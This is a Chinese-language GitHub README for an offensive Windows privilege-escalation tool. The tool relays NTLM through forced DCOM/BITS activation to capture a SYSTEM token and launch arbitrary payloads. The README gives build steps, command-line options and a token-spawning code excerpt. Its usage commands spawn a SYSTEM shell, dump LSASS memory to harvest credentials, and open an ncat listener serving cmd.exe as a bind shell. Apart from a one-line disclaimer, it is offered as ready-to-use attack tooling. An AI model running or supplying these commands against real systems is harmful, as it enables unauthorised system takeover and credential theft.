Yareshms/NTLM-Relay-to-SYSTEM

GitHub: Yareshms/NTLM-Relay-to-SYSTEM

基于 COM 服务器劫持与 NTLM 中继技术的 Windows 本地提权工具,可将具备模拟权限的服务账户提升至 SYSTEM 权限。

Stars: 0 | Forks: 1

# PrivEscalator [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) ## 目录 - [概述](#overview) - [功能](#features) - [项目结构](#project-structure) - [环境要求](#requirements) - [安装](#installation) - [配置](#configuration) - [用法](#usage) - [代码示例](#code-sample) - [技术细节](#technical-details) - [许可证](#license) ## 概述 Windows 权限提升辅助工具,灵感来源于原始的 PrivEscalator 和 RoguePotato 研究。它通过 DCOM/BITS 构造 NTLM 中继链,窃取由易受攻击的 COM 服务器暴露的 SYSTEM token,并使用 `CreateProcessWithTokenW` 或 `CreateProcessAsUserW` 生成任意 payload。该仓库包含独立的控制台启动器,以及复现完整攻击路径所需的管道机制(DCOM 存储触发器、NTLM 协商器、 fake WinRM 监听器)。 ## 功能 - **自动执行路径选择** – 根据可用权限,在令牌复制 (token duplication) 和主登录 流程之间进行选择。 - **BITS/WinRM 回退** – 检测需要 BITS CLSID 并绑定到端口 5985 的 fake WinRM 监听器的现代 Windows 10 版本。 - **自定义 CLSID、端口和 Payload** – 无需重新构建即可从 CLI 覆盖所有运行时参数。 - **进程内 NTLM 协商** – 为 COM 代理和 WinRM HTTP 监听器实现完整的 Type1/Type2/Type3 握手。 - **控制台友好输出** – 将已启动 payload 的 stdout/stderr 管道传回给操作员,以便立即交互或记录日志。 - **可扩展代码库** – 协商 (`LocalNegotiator`)、DCOM 引导 (`StorageTrigger` / `ObjRef`) 和进程创建逻辑之间清晰分离,便于插入新的传输方法。 ## 项目结构 - `Program.cs` – 参数解析、权限检查、进程创建和控制台用户体验 (UX)。 - `PotatoAPI.cs` – 编排 DCOM 触发器、NTLM 协商并暴露复制的令牌。 - `StorageTrigger.cs` / `Com/*` – 实现强制远程激活所需的 COM 存储接口。 - `LocalNegotiator.cs` & `Security/*` – 处理 SSPI 调用、令牌提取和权限启用。 - `PrivEscalator.csproj` / `PrivEscalator.sln` – .NET Framework 4.8 项目和解决方案文件。 ## 环境要求 - 安装了 .NET Framework 4.8 SDK 的 Windows 10/11。 - Visual Studio 2022(带有 C# 桌面开发工作负载)或 MSBuild 16+。 - 建议在本地管理员上下文中运行,以确保拥有所需的模拟权限(`SeImpersonatePrivilege`、`SeAssignPrimaryTokenPrivilege`、`SeIncreaseQuotaPrivilege`)。 ## 安装 - 打开解决方案文件。 - 从 **Build (生成)** 菜单中选择 **Build Solution (生成解决方案)**。 编译后的二进制文件将放置在 `PrivEscalator\bin\*\PrivEscalator.exe` 中。 ## 配置 所有行为均通过命令行开关定义: | Option | Description | Default | | --- | --- | --- | | `-c`, `--clsid` | 要强制的 COM 服务器的 CLSID。对于 1809 之后的系统,这会自动切换到 BITS CLSID `4991D34B-80A1-4291-83B6-3328366B9097`。 | `49...9097` | | `-m`, `--method` | 执行策略:`Auto`、`Token` 或 `User`。`Auto` 根据检测到的权限选择可行的方法。 | `Auto` | | `-p`, `--prog` | 以提升权限生成的进程的完整路径。 | `C:\Windows\System32\cmd.exe` | | `-a`, `--args` | 传递给提升进程的参数。提供复杂命令时请使用引号。 | `null` | | `-l`, `--listenPort` | 不模拟 WinRM 时 fake COM 服务器的本地 TCP 端口。 | `6666` | | `-h`, `--help` | 打印选项参考并退出。 | n/a | ## 用法 通过令牌复制生成提升权限的命令行 shell: ``` PrivEscalator.exe -m Auto -p "C:\Windows\System32\cmd.exe" ``` 使用自定义 payload 和参数转储 LSASS: ``` PrivEscalator.exe ` -m Token ` -p "C:\Windows\System32\rundll32.exe" ` -a "C:\Windows\Temp\joker.png,MiniDump 728 C:\Windows\Temp\joker.dmp full" ``` 在非标准端口上强制使用传统 COM 监听器: ``` PrivEscalator.exe -m User -l 7777 -c "{03DEDE4B-2E7E-11D2-97C5-00C04F8EEB39}" ``` ``` PrivEscalator.exe -p ncat.exe -a "-lvnp 443 -e cmd.exe" ``` ## 代码示例 ``` PotatoAPI potato = new PotatoAPI(new Guid(clsId), port, requiresBits); if (!potato.TriggerDCOM()) { Console.WriteLine("[!] Unable to capture a SYSTEM token."); return; } if (executionMethod == ExecutionMethod.Token) { CreateProcessWithTokenW(potato.Token, 0, program, finalArgs, flags, IntPtr.Zero, null, ref si, out pi); } else { CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero, IntPtr.Zero, false, flags, IntPtr.Zero, @"C:\", ref si, out pi); } ``` ## 技术细节 - **令牌捕获** – `PotatoAPI` 启动 COM 中继端口或 fake WinRM 端点,拦截 NTLM 消息,并将其重放到 `LocalNegotiator`。 - **DCOM 强制** – `StorageTrigger` 实现 `IStorage`,将被强制的 COM 激活指向 `127.0.0.1:port`,从而启用环回中继。 - **权限检查** – `Program.EnablePrivilege` 确保进程在尝试创建进程之前启用 `SeImpersonatePrivilege`、`SeAssignPrimaryTokenPrivilege` 和 `SeIncreaseQuotaPrivilege`。 - **进程执行** – 根据所选方法,`CreateProcessWithTokenW`(模拟令牌)或 `CreateProcessAsUserW`(主令牌)使用隐藏窗口句柄和继承的 stdout/stderr 流管道启动操作员指定的 payload。 ## 免责声明 此工具仅用于教育和授权安全测试目的。 ## 许可证 本项目采用 [MIT 许可证](LICENSE) 授权。
标签:BITS, COM劫持, COM服务器, CreateProcessWithTokenW, DCOM, Impersonation, RoguePotato, SYSTEM权限, TGT, WinRM, 令牌窃取, 协议分析, 攻防演练, 数据展示, 本地提权, 本地服务, 权限提升, 端点可见性, 红队